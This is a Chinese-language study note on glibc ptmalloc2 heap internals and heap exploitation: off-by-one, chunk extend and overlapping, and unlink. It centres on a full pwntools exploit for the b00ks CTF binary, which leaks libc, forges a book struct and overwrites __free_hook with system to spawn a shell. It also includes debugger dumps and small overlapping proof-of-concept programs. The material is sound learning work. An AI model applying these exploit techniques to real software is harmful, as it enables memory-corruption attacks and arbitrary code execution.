0%

pwn2heap

pwn2heap

堆的基础知识

我们现在在学的是在glibc下的堆–ptmalloc2。堆是由低地址向高地址增长的,管理堆的称为对管理器。

malloc调用底层原理,malloc通过创建堆的大小来选择,下图很经典:

image-20230328191402830

通过brk申请内存,初始状态start_brk和brk指向同一地址,aslr开启会有不同效果

  • 不开启 ASLR 保护时,start_brk 以及 brk 会指向 data/bss 段的结尾。
  • 开启 ASLR 保护时,start_brk 以及 brk 也会指向同一位置,只是这个位置是在 data/bss 段结尾后的随机偏移处。

通过mmap申请内存,用来申请大的空间。

我们如果申请1000字节内存,但会得到很大的堆,是因为系统要向内核请示,这样会消耗许多系统资源,所以直接给一个很大的内存可以避免多次用户态和内核态切换,这段连续内存叫arena

堆的结构

malloc_chunk

由malloc申请的内存叫chunk,这块内存在ptmalloc内部用malloc_chunk结构体表示,无论chunk大小如何,处于分配还是释放状态,都有统一结构。

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

INTERNAL_SIZE_T 就是size_t 是无符号整数

prev_size:如果该 chunk 的物理相邻的前一地址 chunk(两个指针的地址差值为前一 chunk 大小)是空闲的话,那该字段记录的是前一个chunck的大小(包括chunk头),否则该字段可以用来存储物理地址相邻的前一个chunk数据,前一个chunk指的是低地址的chunk。

size:指当前chunck大小,必须是4或8的倍数,因为机子要么是32位要么是64位,地址必须要遵守上述规定,所以其2进制后三位一定为0,所以我们给他新的应用,从高往低依次表示:

  • NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1 表示不属于,0 表示属于。
  • IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
  • PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并(如果前面的chunk没有free,该位为1)。

fd,bk:chunk在分配状态时,fd字段开始是用户数据。chunk空闲时,会被添加到对应空闲管理链表中:

  • fd 指向下一个(非物理相邻)空闲的 chunk
  • bk 指向上一个(非物理相邻)空闲的 chunk
  • 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理

fd_nextsize,bk_nextsize:用于较大的chunk,用于空闲的chunk

  • fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
  • bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
  • 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。

一个已经分配的 chunk 的样子如下。我们称前两个字段称为 chunk header,后面的部分称为 user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处。(分配的内存地址和malloc赋予的指针地址其实不一样)

当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域无效,所以下一个 chunk 的该部分也可以被当前 chunk 使用。这就是 chunk 中的空间复用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

bin

被释放的堆并不会立刻消失,会由ptmalloc堆管理器管理,为了是当又需要chunk时能够立刻挑选一个合适的给用户。空闲的chunk会被分为4类:fast bins,small bins,large bins,unsorted bin。ptmalloc将这些维护在一个数组中,存放在malloc_state中

数组中的 bin 依次如下

  1. 第一个为 unsorted bin,字如其面,这里面的 chunk 没有进行排序,存储的 chunk 比较杂。
  2. 索引从 2 到 63 的 bin 称为 small bin,同一个 small bin 链表中的 chunk 的大小相同。两个相邻索引的 small bin 链表中的 chunk 大小相差的字节数为 2 个机器字长,即 32 位相差 8 字节,64 位相差 16 字节。
  3. small bins 后面的 bin 被称作 large bins。large bins 中的每一个 bin 都包含一定范围内的 chunk,其中的 chunk 按 fd 指针的顺序从大到小排列。相同大小的 chunk 同样按照最近使用顺序排列。

此外,上述这些 bin 的排布都会遵循一个原则:任意两个物理相邻的空闲 chunk 不能在一起

需要注意的是,并不是所有的 chunk 被释放后就立即被放到 bin 中。ptmalloc 为了提高分配的速度,会把一些小的 chunk 放到 fast bins 的容器内。而且,fastbin 容器中的 chunk 的使用标记总是被置位的,所以不满足上面的原则。

fastbin(lifo)

为了不把时间花在合并和拆分堆内存上,fastbin被设计出来,glibc对fastbin中的每个bin进行单向链表组织,fastbin最大chunk空间是80字节,当需要小于80字节时,会先在fastbin里寻找有对应大小的空闲块。

smallbin(fifo)

image-20230328203217271

smallbin是双向链表,共62个,每个链表存储chunk大小都一样。比如32位系统下标2对应链表chunk大小都是16字节

largebin

一共有63个bin,每个bin中chunk大小不同,处于一定区间范围内,这63个bin被分成6组,每组bin中chunk大小一致

image-20230328203741130

unsortedbin(fifio)

是空闲chunk回归所属bin之前的缓冲区,unsortedbin只有一个链表,chunk处于乱序状态

  • 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  • 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。

top chunk

程序第一次malloc时,heap会被分成两块,一块给用户,一块就是topchunk,这个topchunk物理地址时最高的,它不属于任何一个bin,如果所有bin都满足不了用户需求,就从他这分走一块bin,剩余的做成新的topbchunk。

初始情况可以把unsortedbin作为topchunk。

last remainder

在用户使用 malloc 请求分配内存时,ptmalloc2 找到的 chunk 可能并不和申请的内存大小一致,这时候就将分割之后的剩余部分称之为 last remainder chunk ,unsort bin 也会存这一块。top chunk 分割剩下的部分不会作为 last remainder.

unlink是一个ptmalloc中的操作,为了将双向链表中的一个元素取出来

如:

1、malloc时需要从largebin中取出chunk,而fastbin和smallbin不使用unlink,依次遍历处理unsortedbin也不会用unlink,或者从比请求chunk所在bin打的bin中取chunk时

2、free:向后合并,合并物理地址相邻的低地址空闲chunk;向前合并,合并物理地址相邻的高地址空闲chunk

3、malloc_consolidate

向后合并,合并物理地址相邻的低地址空闲chunk;向前合并,合并物理地址相邻的高地址空闲chunk

4、realloc

向前扩展,合并物理地址相邻高地址空闲chunk

下图是经典的smallbin的unlink:

image-20230330210801150

堆溢出

原理:溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块。

策略:

  1. 覆盖与其

    物理相邻的下一个 chunk

    的内容。

    • prev_size
    • size,主要有三个比特位,以及该堆块真正的大小。
      • NON_MAIN_ARENA
      • IS_MAPPED
      • PREV_INUSE
      • the True chunk size
    • chunk content,从而改变程序固有的执行流。
  2. 利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)或控制堆块中的内容等效果,从而来控制程序的执行流。

calloc与malloc区别就是calloc会在分配后自动清空

1
2
3
4
calloc(0x20);
//等同于
ptr=malloc(0x20);
memset(ptr,0,0x20);

realloc

1
2
3
4
5
6
7
8
9
realloc(ptr,size) 的 size 不等于 ptr 的 size 时
如果申请 size > 原来 size
如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小
如果 chunk 与 top chunk 不相邻,相当于 free(ptr),malloc(new_size)
如果申请 size < 原来 size
如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变
如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分
realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)
realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作

例题还没刷到

Off-By-One

原理:off-by-one指的是单字节缓冲区溢出,漏洞与边界检查不严和字符串传递有关。

利用思路:

1、溢出字节位可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或者覆盖其他块数据。也可以使用NULL字节溢出方法。

2、溢出字节为NULL字节:在size为0x100的时候,溢出NULL字节可以使得prev_in_use位被清除,这样前块会被认为是free块。(1)这时候可以选择unlink方法进行处理(2)另外prev_size就会启用,就可以伪造prev_size,从而造成块之间发生重叠。这个方法关键是unlink有没有检查按照prev_size找到的块的大小与prev_size是否一致。

ps.2.28之前没有check方法2

举一个例子,刚开始看真的不是很好理解:

b00ks:

这个程序有很多功能

1
2
3
4
5
6
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit

书本的一个结构体大小是20字节

1
2
3
4
5
6
7
struct book
{
int id;
char *name;
char *description;
int size;
}

作者名字可以修改,book结构体中的description可以修改,这两处修改函数都是有offbyone漏洞的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 __fastcall my_read(_BYTE *ptr, int number)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( number <= 0 )
return 0LL;
buf = ptr;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == '\n' )
break;
++buf;
if ( i == number )
break;
}
*buf = 0;
return 0LL;
}

首先输入作者名后可以搜索到存放地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> search -s flag
b00ks 0x555555602040 0x67616c66 /* 'flag' */
libc-2.31.so 0x7ffff7dd938b 0x5f5f007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7ddbf01 0x5f5f007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7ddc336 0x7563007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7f77de0 0x6f4e007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7f7ec06 'flags & PRINTF_FORTIFY) != 0'
ld-2.31.so 0x7ffff7ff5213 0x642f002967616c66 /* 'flag)' */
ld-2.31.so 0x7ffff7ff5d3e 'flag value(s) of 0x%x in DT_FLAGS_1.\\n'
ld-2.31.so 0x7ffff7ff6745 'flags & DL_LOOKUP_RETURN_NEWEST)'
pwndbg> x/20xg 0x555555602040//打印地址
0x555555602040: 0x0000000067616c66 0x0000000000000000
0x555555602050: 0x0000000000000000 0x0000000000000000
0x555555602060: 0x00005555556036f0 0x0000000000000000
0x555555602070: 0x0000000000000000 0x0000000000000000
0x555555602080: 0x0000000000000000 0x0000000000000000
#0x00005555556036f0该地址用来存放malloc创造的list地址

当我进行下面操作://需要调试list1_addr的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p.recvuntil('Enter author name: ')
payload='a'*32
p.sendline(payload)

create(0xe0, 'aaaa', 0xe0, 'bbbb')
show()
p.recvuntil('Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
list1_addr=u64(p.recvuntil('\\n')[:-1].ljust(8,'\\x00'))
#list1——addr就是555555603600这个值
pwndbg> x/20gx 0x555555602040
0x555555602040: 0x6161616161616161 0x6161616161616161
0x555555602050: 0x6161616161616161 0x6161616161616161
0x555555602060: 0x0000555555603600 0x0000000000000000
0x555555602070: 0x0000000000000000 0x0000000000000000

发现0x00005555556036f0最后两位变成了\X00,就是off-by-one,这样程序会认为该地址0x555555603600才是list的地址,我们直接看一下布局:

1
2
3
4
5
pwndbg> x/20xg 0x555555602040
0x555555602040: 0x0000786b6b687779 0x0000000000000000
0x555555602050: 0x0000000000000000 0x0000000000000000
0x555555602060: 0x00005555556036f0 0x0000555555603760 #list_1 & list_2
0x555555602070: 0x0000000000000000 0x0000000000000000

可以发现0x00005555556036f0存的是list1堆地址起始地址(不包括size)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x5555556036a0:	0x0000000000000000	0x0000000000000021
0x5555556036b0: 0x0000000071717171 0x0000000000000000 #list_1_bookname
0x5555556036c0: 0x0000000000000000 (pre_size)
0x0000000000000021
0x5555556036d0: 0x0000000077777777 0x0000000000000000 #list_1_description
0x5555556036e0: 0x0000000000000000 (pre_size)
0x0000000000000031
0x5555556036f0: 0x0000000000000001 0x00005555556036b0 #list_1
0x555555603700: 0x00005555556036d0 0x0000000000000004

0x555555603710: 0x0000000000000000 0x0000000000000021
0x555555603720: 0x0000000065656565 0x0000000000000000 #list_2_bookname
0x555555603730: 0x0000000000000000 0x0000000000000021
0x555555603740: 0x0000000072727272 0x0000000000000000 #list_2_description
0x555555603750: 0x0000000000000000 0x0000000000000031
0x555555603760: 0x0000000000000002 0x0000555555603720 #list_2
0x555555603770: 0x0000555555603740 0x0000000000000004
0x555555603780: 0x0000000000000000 0x0000000000020881

那么,我创建list1和list2,并且修改list1的decription时:

1
2
3
4
5
6
create(0xe0, 'aaaa', 0xe0, 'bbbb')
create(0x21000, 'cccc', 0x21000, 'dddd')
payload = 'a' * 0x60 + p64(1) + p64(book2_control_ptr + 8) * 2 + p64(0x1000)
change(1,payload)
0x5555556036f0: 0x0000000000000001id0x00005555556036b0(bookname_addr) #list_1
0x555555603700: 0x00005555556036d0(description_addr) 0x0000000000000004(size)

heap空间布局如下:

1
2
3
0x55c18a470400:	0x0000000000000001	0x000055c18a4704c8	#fake_list
0x55c18a470410: 0x000055c18a4704c8 0x0000000000001000
该处虚假的list,p位设为0,程序会把这个地方识别为list1

这个地址就是list2的name地址,获取这个地址是要求libc_base,因为list2开辟空间太大,使用mmap函数开辟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x563fc9c00000 0x563fc9c02000 r-xp 2000 0 /home/ywhkkx/桌面/b00ks
0x563fc9e01000 0x563fc9e02000 r--p 1000 1000 /home/ywhkkx/桌面/b00ks
0x563fc9e02000 0x563fc9e03000 rw-p 1000 2000 /home/ywhkkx/桌面/b00ks
0x563fcb86d000 0x563fcb88e000 rw-p 21000 0 [heap]
0x7ff6d3dcf000 0x7ff6d3e13000 rw-p 44000 0 [anon_7ff6d3dcf]
0x7ff6d3e13000 0x7ff6d3e38000 r--p 25000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ff6d3e38000 0x7ff6d3fb0000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ff6d3fb0000 0x7ff6d3ffa000 r--p 4a000 19d000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ff6d3ffa000 0x7ff6d3ffb000 ---p 1000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
-------------------------------------------------------------------------
[+] bookname2 >>0x7ff6d3df1010
libc = 0x7ff6d3e13000 - bookname2
pwndbg> x/60xg 0x55c18a470390
0x55c18a470390: 0x0000000000000000 0x00000000000000f1
0x55c18a4703a0: 0x6161616161616161 0x6161616161616161 #list_1_description
0x55c18a4703b0: 0x6161616161616161 0x6161616161616161
0x55c18a4703c0: 0x6161616161616161 0x6161616161616161
0x55c18a4703d0: 0x6161616161616161 0x6161616161616161
0x55c18a4703e0: 0x6161616161616161 0x6161616161616161
0x55c18a4703f0: 0x6161616161616161 0x6161616161616161
0x55c18a470400: 0x0000000000000001 0x000055c18a4704c8 #fake_list
0x55c18a470410: 0x000055c18a4704c8 0x0000000000001000
0x55c18a470420: 0x0000000000000000 0x0000000000000000
0x55c18a470430: 0x0000000000000000 0x0000000000000000
0x55c18a470440: 0x0000000000000000 0x0000000000000000
0x55c18a470450: 0x0000000000000000 0x0000000000000000
0x55c18a470460: 0x0000000000000000 0x0000000000000000
0x55c18a470470: 0x0000000000000000 0x0000000000000000
0x55c18a470480: 0x0000000000000000 0x0000000000000031
0x55c18a470490: 0x0000000000000001 0x000055c18a4702b0 #list_1
0x55c18a4704a0: 0x000055c18a4703a0 0x00000000000000e0
0x55c18a4704b0: 0x0000000000000000 0x0000000000000031
0x55c18a4704c0: 0x0000000000000002 0x00007fee78052010 #list_2
0x55c18a4704d0: 0x00007fee78030010 0x0000000000021000
0x55c18a4704e0: 0x0000000000000000 0x000000000001fb21

接下来可以用free_hook来getshell

1
2
3
4
5
6
7
8
9
10
11
libc_base = bookname2 + 0x21ff0 
success('libc_base >>'+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
#one_gadget = libc_base + 0xe6c81
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
success('system >>'+hex(system))

change(1, p64(bin_sh) + p64(free_hook))
change(2, p64(system))
free(2)

其实就是求出binsh,freehook,system地址,然后再次放到list1里进行伪造

1
2
3
4
5
6
0x55c18a470400:	0x0000000000000001	0x000055c18a4704c8	#fake_list
0x55c18a470410: 0x000055c18a4704c8 0x0000000000001000 #fake_description(list_2)
0x55c18a470420: 0x0000000000000000 0x0000000000000000
0x55c18a4704c0: 0x0000000000000002 addr("/bin/sh") #list_2
0x55c18a4704d0: addr(free_hook) 0x0000000000021000
0x55c18a4704e0: 0x0000000000000000 0x000000000001fb21

执行free(2),就会和上面的合并,也就是执行freehook挂钩的system函数(不是很理解)

下面是真正的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import*

p=process('./b00ks')
elf=ELF('./b00ks')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
#context(log_level='debug')

def create(len_book,bookname,len_description,description):
p.sendlineafter('> ','1')
p.sendlineafter('Enter book name size: ',str(len_book))
p.sendlineafter('(Max 32 chars): ',bookname)
p.sendlineafter('description size: ',str(len_description))
p.sendlineafter('description: ',description)

def free(index):
p.sendlineafter('> ','2')
p.sendlineafter('delete: ',str(index))

def change(index,description):
p.sendlineafter('> ','3')
p.sendlineafter('want to edit: ',str(index))
p.sendlineafter('book description: ',description)

def show():
p.sendlineafter('> ','4')

def change_name(name):
p.sendlineafter('> ', '5')
p.sendlineafter(': ', name)

p.recvuntil('Enter author name: ')
payload='a'*32
p.sendline(payload)
#在 0x555555602040处写入32个a,会覆盖第33位,但并没有创建结构体,所以并没有用到off-by-one
create(0xe0, 'aaaa', 0xe0, 'bbbb')
#创建结构体,在aaaaa下面的地址,地址是:0x0000557c2a0e9490
show()
p.recvuntil('Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
list1_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
#list1_addr是0x0000557c2a0e9490
list2_addr=list1_addr+0x30
#list2_addr指向了list1结构体后的一个结构体,如果再创建一个结构体,它就会指向下一个结构体头,地址是:0x557c2a0e94c0

success("list1_addr >> "+hex(list1_addr))
success("list2_addr >> "+hex(list2_addr))

create(0x21000, 'cccc', 0x21000, 'dddd')
#创建list2,这个list2在list1结构体后,其中name和description指向的堆地址是0x00007f7b27812010,与0x557xxx不一样,是因为开辟空间太大,采用了mmap开辟
payload = 'a' * 0x60 + p64(1) + p64(list2_addr + 8) * 2 + p64(0x1000)
change(1,payload)

change_name('a'*0x20)
show()
p.recvuntil('Name: ')
bookname2 = u64(p.recv(6).ljust(8, '\x00'))
success('bookname2 >> '+hex(bookname2))
#继续使用off-by-one泄露bookname2(list2)的地址,libc_base(已知) - bookname2就是偏移
libc_base = bookname2 + 0x21ff0
success('libc_base >> '+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0xe6c81
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
success('system >> '+hex(system))

#gdb.attach(p)
#pause()
#通过对构造的fake_list进行写,那为什么不直接change(2)进行写呢,因为写这个操作是对结构体中的地址里的内容进行写,而不是直接覆盖结构体中的地址,(此时list1已经被fake代替,而list2还是list2)
change(1, p64(bin_sh) + p64(free_hook))
pause()
#对list2中的description也就是freehook的地址内的东西进行改写,而不是直接覆盖freehook在list2结构的地址
change(2, p64(system))
#free(2)会完成system(’bin_sh‘)操作
free(2)

p.interactive()

那这个题的利用思路就很明确了,当输入author时,会触发off-by-one,就是会多写一个字节,然后创建结构体,这个结构体的地址会覆盖掉那个字节,所以我们可以泄露出list1结构体的地址。接下来,我们构建fake_list,fake_list通过覆盖list1的description来写入,当构造完毕,真正的list1已经被fake_list替换,接下来再创建一个结构体2,这个结构体是为了泄露libc_base地址,当拿到system,binsh,freehook地址时,通过对fakelist的description改写(进入0x0000558149b824c8,改写他的值为binsh,freehook值 ),接下来(进入0x00007fb9c96ce010 ,改写他的值为system),free(2)就可以完成攻击shell操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x558149b82400: 0x0000000000000001      0x0000558149b824c8 fakelist
0x558149b82410: 0x0000558149b824c8 0x0000000000001000
0x558149b82420: 0x0000000000000000 0x0000000000000000
0x558149b82430: 0x0000000000000000 0x0000000000000000
0x558149b82440: 0x0000000000000000 0x0000000000000000
0x558149b82450: 0x0000000000000000 0x0000000000000000
0x558149b82460: 0x0000000000000000 0x0000000000000000
0x558149b82470: 0x0000000000000000 0x0000000000000000
0x558149b82480: 0x0000000000000000 0x0000000000000031
0x558149b82490: 0x0000000000000001 0x0000558149b822b0list1
0x558149b824a0: 0x0000558149b823a0 0x00000000000000e0
0x558149b824b0: 0x0000000000000000 0x0000000000000031
0x558149b824c0: 0x0000000000000002 0x00007fb9c96f0010list2
0x558149b824d0: 0x00007fb9c96ce010 0x0000000000021000

chunk extend and overlapping

chunk extend是对漏洞的常见利用手法,通过extend可以实现chunk overlapping效果,需要程序中存在堆的漏洞并且漏洞可以控制chunk header中的数据

原理:chunk extend能产生的原因在于ptmalloc在对堆chunk进行操作时使用的各种宏:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
获取chunk块的大小
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
获取下一块chunk大小
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))
获取前一个chunk信息的操作
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)

/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))
判断chunk是否处于use状态
#define inuse(p)
((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)

总而言之,ptmalloc通过chunk header的数据判断chunk的使用核对chunk的前后块定位,那么就可用chunk extend 就是通过控制size和pre_size实现跨块操作,导致overlapping。

具体说明:

1、对inuse的fastbin的extend

创建两个chunk(0x10),修改第一个chunk的size使得size=chunk1.size+chunk2.size,这时候free(chunk1),发现chunk1和chunk2合成了一个chunk进行释放,接下来再通过malloc就可以得到chunk1+chunk2,取得chunk2中的内容,这种状态叫做overlapping chunk。

2、对inuse的smallbin的extend

因为处于fastbin范围内的chunk释放后会放入fastbin链表(最大是0x70),不处于这个范围内的chunk会进入unsortedbin,创建一个0x80的chunk和0x10的chunk,将0x80的size改为0xb1,然后free,chunk1和chunk2会吞入unsorted bin,如果malloc(0xa0)就会取出chunk1和chunk2

3、对free的smallbin进行extend

与2一样,但这次先free(chunk1),然后再修改size,chunk1在free后会进入unsortedbin,然后改size,接下来再malloc就可以得到chunk1+chunk2

一般来说,这种技术并不能直接控制程序的执行流程,但是可以控制 chunk 中的内容。如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程。

此外通过 extend 可以实现 chunk overlapping,通过 overlapping 可以控制 chunk 的 fd/bk 指针从而可以实现 fastbin attack 等利用。

4、通过extend后向overlapping

进行4次malloc(0x10),然后把第一个的size改成0x61,然后free,接下来malloc(0x50),其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack。

5、通过extend向前overlapping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(128);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink进行前向extend
malloc(0x150);//占位块

}

前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。

unlink其实就是将双向链表中的free块拿出来,运用漏洞时就是修改chunk的内存布局,借助unlink操作修改指针

image-20230331190125023

程序进行unlink时进行检查操作

1
2
3
4
5
6
7
8
9
10
11
// 由于'P'已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");

// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

// 检查 largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,"corrupted double-linked list (not small)", P, AV);

就是指:

chunkP的下一个chunk的上一个chunk是不是chunkP

chunkP的上一个chunk的下一个chunk是不是chunkP‘9

攻击原理:

unlink的检查不是那么完美,只会根据相对地址来检查,他始终会认为chunk_head + 0x8的位置presize

所以可以用来欺骗程序

如何利用?

首先要知道堆创建后,如果free,他仍然会保留在那个位置,数据不会被抹除,只是size的p位被改变,然后要知道如果一个chunk被释放,会检查这个chunk相邻的chunk是否为free状态,如果free则要进行合并(向前和向后合并),合并时需要将空闲chunk从原来bin中unlink,并将合并后的chunk放入unsorted bin中。

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]){
char *first, *second;
first = malloc(666);
second = malloc(12);
if (argc != 1)
strcpy(first, argv[1]);
free(first);
free(second);
return 0;
}